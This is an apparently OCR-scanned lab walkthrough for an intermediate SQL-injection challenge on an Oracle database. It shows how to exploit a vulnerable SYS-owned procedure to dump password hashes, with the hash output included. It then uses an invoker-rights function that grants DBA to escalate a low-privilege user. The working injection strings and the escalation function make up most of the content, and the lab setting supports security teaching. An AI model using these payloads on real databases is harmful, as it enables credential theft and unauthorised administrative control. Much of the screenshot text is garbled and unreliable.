SQL Injection Labs

Challenge 22
Login to the oracle database based on the following information [Level: Intermediate]

Username: userl
Password: password1l
IP: 192.168.2.12
Port: 1521
SID: XE
e List the permissions/privileges of current user. (exploit sys created procedure)

e Escalate privileges and become DBA

You can login to the oracle port using razorsql.

Connection Profiles = Add Connection Profile

Profile Name: [usert -

Login: |user1 |
Password: |......... |

Driver Class: | oracle.jdbc.driver.CracleDriver |

Driver Locatiok |Z:\Prouram Files [x&ﬁ]\RazorSOL\drivers\oracle\orailﬂn.iar| [ Browse]
JDBC URL: [idbcioraclesthin:@192.168.2.12:1521:XE |
Auto Commit: (@) On () Off () Smart Commit

- Read Read / Read / Write
SQL Restrictions v .
None [] Only o Write . / Delete

Transaction Isolation | Default -

Connect at Startup IF]

[connecr| | apperoriLe| | copyproFiLE| | DELETE PROFILE
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List your current privileges by issuing the query:

Select * from session_privs

OeEE O @R 0 vyEHBEREBSESTEEZExE 5§ < = [PLJ'SQL v]‘% ElUSERl v]_‘ [Gu(pu(uﬂ -
= Schemas - 1 select * from session_privs
3 APEX_040000

z

H 2
-3 CTesys 4
-3 MDsYs 5
13

1

@

£3 puBLC
-3 svs

-3 SYSTEM 3
B-C3 USERL 20
(21 ¥DB

[
| E

session_privs
EdBE ZE v ou%BEHEEBR 4 =
[ prviece |

1 CREATE SESSION
2 CREATE PROCEDURE

You will notice that you only have 2 privileges:

CREATE SESSION
CREATE PROCEDURE

Note: It may be possible that other users of SQLi lab who have finished the challenge might have
made this user a DBA, thus make sure you revoke the DBA role from this user if that is the case.

You can issue the command:

revoke dba from userl

This will drop the DBA role from userl and you can now practice making it a DBA.
Please verify that you only see 2 privileges listed for this user when you issue the query:

Select * from session_privs

The advantage of using a GUI client like razorsql is that you can list other user’s schema and

browse the objects present in their schema.
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We will expand the SYS schema and look for procedures made by SYS user:

ODeE B"m" 0 » RSB ST FZER

E’ Schemas

w3 APEX_040000

-3 cTesys

&-C3 MDSYs

B0 PUBLIC

== svs

D Tables

-3 Views

E}E’ Procedures

B3 GET_CUST

D ODCIANYDATADUMP

-1 ODCICOLINFODUMP

i-C3 ODCIENVDUMP

i~ ODCINDEXALTEROPTIONDUMP
D ODCIMDEXCALLPROPERTYDUMP
-3 ODCINDEXINFODUMP

D ODCINDEXINFOFLAGSDUMP
i-C3 ODCIPARTINFODUMP

D ODCPARTINFOLISTDUMP

-3 ODCIPREDINFODUMP

&-C3 ODCIQUERYVINFODUMP

i-C3 ODCISTATSOPTIONSDUMP

D ODCITABFUNMCIMFODUMP

-1 SCHEDULERS_JOB_EVENT_HANDLER
f-C3 SETMODFLG

-3 SUBPTXT

F-C3 Functions
F-C3 Triggers
F-C3 Packages %
-3 Package Bodies
F-C3 Indexes
#-C3 Constraints
[

E

[

[3

[

E

#-[1 Sequences

+#-[0 Synonyms

-3 Materialized Views
#-[C1 Materialized View Logs
+-[1 Database Links

-3 Clusters

E-C3 Types

-3 SYSTEM

-3 USERL

#-C3 XDB

Note that while most of them are default procedures, there is one particular procedure called
GET_CUST which appears to be a custom written procedure by SYS user.
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You can view the course code of this procedure by right clicking and then clicking view contents

DeE HAc"@mo’ 0 R B@EITFEN
-3 DBMS_FEATURE_RMAN_LOW a
-0 DBMS_FEATURE_RMAN_MEDIUM
&0 DBMS_FEATURE_RMAN_ZLIB
&[0 DBMS_FEATURE_RULESMANAGER
-0 DBMS_FEATURE_SECUREFILES_SYS
-3 DBMS_FEATURE_SECUREFILES_USR
-0 DBMS_FEATURE_SEGADV_USER
&0 DBMS_FEATURE_SERVICES

- DBMS_FEATURE_SFCOMPRESS_SVS
&0 DBMS_FEATURE_SFCOMPRESS_USR
&3 DBMS_FEATURE_SFDEDUP_SYS
G-C3 DBMS_FY
-0 DBMS_FE
&-C3 DBMS_FE
G0 DBMS_FE
&0 DBMS_FE
03 DBMS_FE
-0 DBMS_FE
&-C3 DBMS_FE
G0 DBMS_FE
-0 DBMS_FE
&-C3 DBMS_FE
-1 DBMS_FE

MOVEXD Drop Tables
ODCIAN Truncate Tables

sEedddesssadadygydggo1d
roirbbpbRRbRRRERRD

S

o]

o
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File Edit Search DBTools Conmections SQL Resubs Tools Code View Window Help
[®) testsql | (] "sqi-test (1).sql | [X] “userl | [X] No ConnectionS | [X] Mo Connectiont | [X] No Connection? | [R] *scott-sqli | [X] No Connectiond | [X] *scott-sqli | [X] *scott-sqli | [X] *scott-sqhi | [X] *dbal | [] *userl | [X) *dbsnmp | [X] No Connectionls | [X] *userl
DcHd Acr@mo’ 0 S HRVBSESEZ XS S8V 50 [se <)% v J5 [oupueor

T GBM5_FEATURE_RMAN_IGH
~( DBMS_FEATURE_RMAN_LOW

3 DBMS_FEATURE_ RMAN_MEDIUM
(3 DBMS_FEATURE RMAN_ZLIB

(3 DBMS_FEATURE_RULESMANAGER
(3 DBMS_FEATURE_SECUREFILES_SYS
(3 DEMS_FEATURE_SECUREFILES_USR
(3 DBMS_FEATURE_SEGADV_USER
(3 DBMS_FEATURE SERVICES

3 DBMS_FEATURE_SFCOMPRESS_SYS
~( DBMS_FEATURE_SFCOMPRESS_USR
(23 DBMS_FEATURE SFDEDUP_SYS
(3 DBMS_FEATURE_SFDEDUP_USR
3 DBMS_FEATURE_SFENCRYPT_SYS
3 DBMS_FEATURE_SFENCRYPT_USR
(3 DBMS_FEATURE TEST_PROC_L

3 DBMS_FEATURE_TEST_PROC_2
~() DBMS_FEATURE_TEST_PROC 3

3 DBMS_FEATURE_TEST_PROC 4
~() DBMS_FEATURE_TEST_PROC_5

(3 DBMS_FEATURE_USER_MVS

(3 DBMS_FEATURE_UTILITEES1

(3 DEMS_FEATURE_UTILITIES2

(3 DBMS_FEATURE_UTILITIESS

(3 DEMS_FEATURE_UTILITIES4

3 DBMS_FEATURE_WCR_CAPTURE
~() DBMS_FEATURE_WCR_REPLAY
(3 DBMS_FEATURE XDB

3 DBMS_LOGMNR_FFVTOLOGMNRT
> GEr cust

-1 DvARCHARZIN

3 LOAD_UNDO_STAT

3 LOGMNR_GTLO3

(3 LOGMNR_KRVRDA_TEST_APPLY
3 LOGMNR_KRVRDLUID3

~C LOGMNR_KRVRDREPDICTS

3 MOVEXDE_TABLE

3 MOVEXDB_TABLE_PART2

(3 ODCIANYDATADUMP

{3 opacounFobump

3 ODCICOLNFOFLAGSDUMP

3 opaenvoume

~( ODCIINDEXALTEROPTIONDUMP
3 ODCUNDEXCALLPROPERTYDUMP

I

T select ! from session_privs

2
2|

H#E &

1 CREATE SESSION
2 CREATE ANY PROCEDL

Note the line 5 in the procedure:

PRIVILEGE

& Procedure Contents

PtcrBEBQ

1 PROCEDURE

@ type cv_typ is ref curser;
acv ev_typ:

s Tv_stmt varchar2(32767
&1V nane custoners. nanestype:
7 begin

& dbns_owtput . put _line( ' debug: | |Lu_stat);
9 open cv for Ly_stat;

10 Toop

a1 fetch cv dnto lv_nane;

22 exit when cvinot Found;

25 dbns_output  put_Line( 'nane of company is
2a end Toop:

15 close cv:

15 exception

17 when others then

26 dbns_output . put_Line(sqlcode] |sqlerrn) ;
19 End;

clect name from custoners where ID=

“GET_CUST" (id in varcharz)

TR

£ | [Lv_name) ;

P12 Deiminer :

I [ TS T

INSERT  WRITABLE \n Cp12s2

Iv_stmt varchar2(32767):='select name from customers where ID=""]| | id | |'"';

This line is vulnerable to SQL Injection. Thus, if we can execute this procedure and inject our SQL into

this procedure, then the procedure will be executed with privileges of DEFINER of the procedure

which in this case is SYS.

Let’s verify if we can execute this procedure.

begin
SYS.GET_CUST('1');

end;

The procedure executed successfully. You can see the output:
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88/ 20 [usa

'] wq) [USER_L V] Eﬁunutputon "]

1 begin
z SYS.GET_CUST('1');
2 end;

IS

—l Show PRINT cutput for the last executed statementi

== Output

pet EREHU

1 Hebug: select name from customers where ID= '1°
z name of company is :Dummy Customerl

Now, we can verify if it’s vulnerable to SQLI by injecting a single quote in the argument of the

procedure. Note: we need to escape the quote:

begin
SYS.GET_CUST('1"");

end;
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] & 9 ¥ J 2 [F |PusqL - | "%, | |usErL * | L% |output on w

1 begin

2 5YS,GET_CUST('1' "' ); + Output

2 end; = = %
] Pot B EEMDQ

3 1 Hebug: select name from customers where ID= '1''
& 2z -17560RA-01756: quoted string not properly terminated
7

i z

g s

10 o

11 5

12 o

12 9

13 i

15 il

18 9

17 s

18 el

19 90

z0 %

z1 a5

zz 5

za a5

za -

z5 24l

26 -

27 -

z8 -

Note that that Oracle returns an error as the resulting SQL statement has an unbalanced single-
quote

select name from customers where ID="1"

lets try to inject SQL into it:

begin

SYS.GET_CUST('1" union select user from dual--');

end

begin
SYS.GET_CUST('1" union select password from sys.userS--');

end;

As our injected SQL executes with permission of SYS user, we can now read password hashes:
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1 258V 20 [usa

VI“;".:"‘, El ’USER].

v] E?\[cutput on V]

1 begin

2 end;

| Show PRINT output for the last executed statem enth

z SYS.GET_CUST('1'' union select password from sys.usery

™

How to become DBA:

To become DBA we can now create a function which execute a statement ‘GRANT DBA to USER1’
and then inject this function into the vulnerable procedure. The end result will be that SYS will
execute our malicious function and thus grant our user DBA role.

Note: In Oracle by default all objects execute with privileges of definer (the schema in which they
belong). To change the permission from definer to invoker, we need to specify a keyword authid
current_user while creating that object. This will drop its permissions and it will be executed with

the privilege of the person executing it.

Lets create a function:

CREATE OR REPLACE FUNCTION "GETDBA" return varchar

authid current_user as

pragma autonomous_transaction;

BEGIN

EXECUTE IMMEDIATE 'GRANT DBA TO USER1';

COMMIT;

return 'owned’;
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£ Output IE
et EEEEQ

1 debug:select name from customers where ID= 'l' union select password from sys.us a
z name of company is :0ASE7SBSBF3SB9FGE I
2 name of company is :0ASC1C30CSSEASLD
a name of company is :0BGESFFLE2A1399D1
5 name of company is :15B343EF3B3AF9FS
& name of company is :286E1EABFZCFD2G62
7 name of company is :45BlCOC3BELDSS3C
s name of company is :4A3BASSEQS595CEL
2 name of company is :4CED73C3ESBOFODA
10 name of company dis :72979A94BADZAFE0
11 name of company is :8595ES7BOFS3F1E3
1z name of company is :BEOSFFFLD775C976
1z name of company is :D1D21CASE994CABS
1a name of company is :DC4FCCBCBGEIAGTSS
1z name of company is :Dummy Customerl
16 name of company is :E068D21405421CCC
17 name of company is :E2138E232061DBFO
15 name of company is :E7G6AGBDI99EFSFFL
17 name of company is :EDO4GD2CDEAQS489
zo name of company is :F894844C34402B67
z1 name of company is :anonymous

zz name of company is :

z2

za

z5

zE

z7

z8

zg
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END;

CREATE OR REPLACE FUNCTION "GETDBA" return varchar
authid current_user as

pragma autonomous_transaction;

BEGIN

EXECUTE IMMEDIATE 'GRANT DEA TO USERL';

COHHIT:

return 'owned' :

END:

Note that we marked our malicious function as authid current_user as we want it to execute with
the permissions of invoker. When we inject this function in SYS.GET_CUST() then SYS will invoke our
function and authid current_user ensures that SYS executes it with his own privilege. Without this
keyword, the function will be executed with the privilege of USER1 and that will defeat a privilege
execution attack.

Now we can inject our function into vulnerable procedure:
begin
SYS.GET_CUST('1" and userl.getdba() is null--');

end;

Dol Ad@e’ 0 $ERRECES==4%a 948 v 20 pre % Bwm Do

= [ 1begin -
ol 1| & 5. Gercust( 1+ and userd. octdba() is matl-- 1; s e N (=]
3 DEMS_FEATURE_RULESMANAGER i W o [ w — : :
3 DBMs_FEATURE. SECUREFILES_SYS E :I’Ehug:sele(t name from customers where ID= '1' and userl.getdba() is null-- [a]
(3 DEMS_FEATURE SECUREFILES_USR ] 2
3 DBMS_FEATURE SEGADV_USER 1 4
£33 DEMS_FEATURE_SERVICES E i
(23 DBMS_FEATURE_SFCOMPRESS_S15 o f
3 DBMS_FEATURE_SFCOMPRESS_USR N ]
(23 DBMS_FEATURE_SFDEDUP_SYS ﬁ B
0 DBMS_FEATURE_SFDEDUP_USR 12 o
(23 DBMS_FEATURE_SFENCRYPT_SYS = 1
3 DBMs_FEATURE_SFENCRYPT_USR E 1
3 DEMS_FEATURE_TEST_PROC 1 ac) o
3 DBMS_FEATURETEST_PROC_2 = B
3 DBMS_FEATURE_TEST_PROC_3 N 1
(23 DBMS_FEATURE_TEST_PROC 4 ; i
(3 DBMS_FEATURE_TEST_PROC_5 o o
3 DBMS_FEATURE_USER_MVS = 21
£ DBMs_FEATURE_UTILITIESL B e
3 DEMS_FEATURE_UTILITES2 = .
3 DBMS_FEATURE_UTILITESS e .
{23 DBMS_FEATURE_UTILITIES4 N 26 .
23 DBMS_FEATURE_WCR_CAPTURE : 2 j
3 DBMS_FEATURE WCR_REPLAY a2
3 DBV, FEATURE 408 = 978 InlColl Lmesz INSERT WRITABLE \n Cpizs2
3 DEMS_LOGMNR_FFVTOLOGMNRT Ll
& Ger_cusT I ®5/63  Ln5Coll  Lmes5 INSERT WRITABLE \n CplZsz Defmier :
[ 1 vARCHARZ IN beginSYs.GET_CU... beginSYS.GET_CU... begin§YS.GET_CU... users. beginSVS.GET_CU... beginSVs.GET_CU... beginSVs.GET_CU... beginSVs.GET_CU...
g LOAD_UNDO_STAT ZF e &% B EFE B D& s
LOGMNR_GTLO3
- N [

Note that no errors are returned. Hopefully, this will mean that we should now have dba role:

Now, if you login again as userl, you will see you are DBA. You can verify this by issuing the query:

Select * from session_privs:
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S5 &/ 20 s % EHsm )5 fowuor ~

10

Del Ad @’ 0 $HRRBSESFEExS

= Schemas

£3 APEX_040000
CTXSVS
FLOWS_FILES
HR.

MDSYS
ouUTLN
PUBLIC
scotT

O]

SYSTEM

pppoepoeRR

(3 xoe

1
z
o
3
s
1
7
&

£l
10
11
12
12
13
15
15
17
18
19
20
21
22
2a
2a
25
25
27
28
29
20
a1
3z

select * from session_privs|

2
[

Iy I

27/27  Ln1Col28  Linesl INSERT WRITABLE \n Cpl2s2

session_privs

S LS BPEEHESR L oMfAPFE D

PRIVILEGE |

ALTER SYSTEM

AUDIT SYSTEM
CREATE SESSION
ALTER SESSION
RESTRICTED SESSION
CREATE TABLESPACE
ALTER TAELESPACE
MANAGE TABLESPACE
DROP TABLESPACE
UNLIMITED TABLESPACE
CREATE USER

BECOME USER

CREATE ROLLBACK SEGMENT
ALTER ROLLBACK SEGMENT
DROP ROLLBACK SEGMENT
CREATE TABLE

CREATE ANY TABLE

ALTER ANY TABLE

BACKUP ANY TABLE

Please be considerate for other users and issue the following 2 query:

Drop function GETDBA
And then

revoke dba from userl
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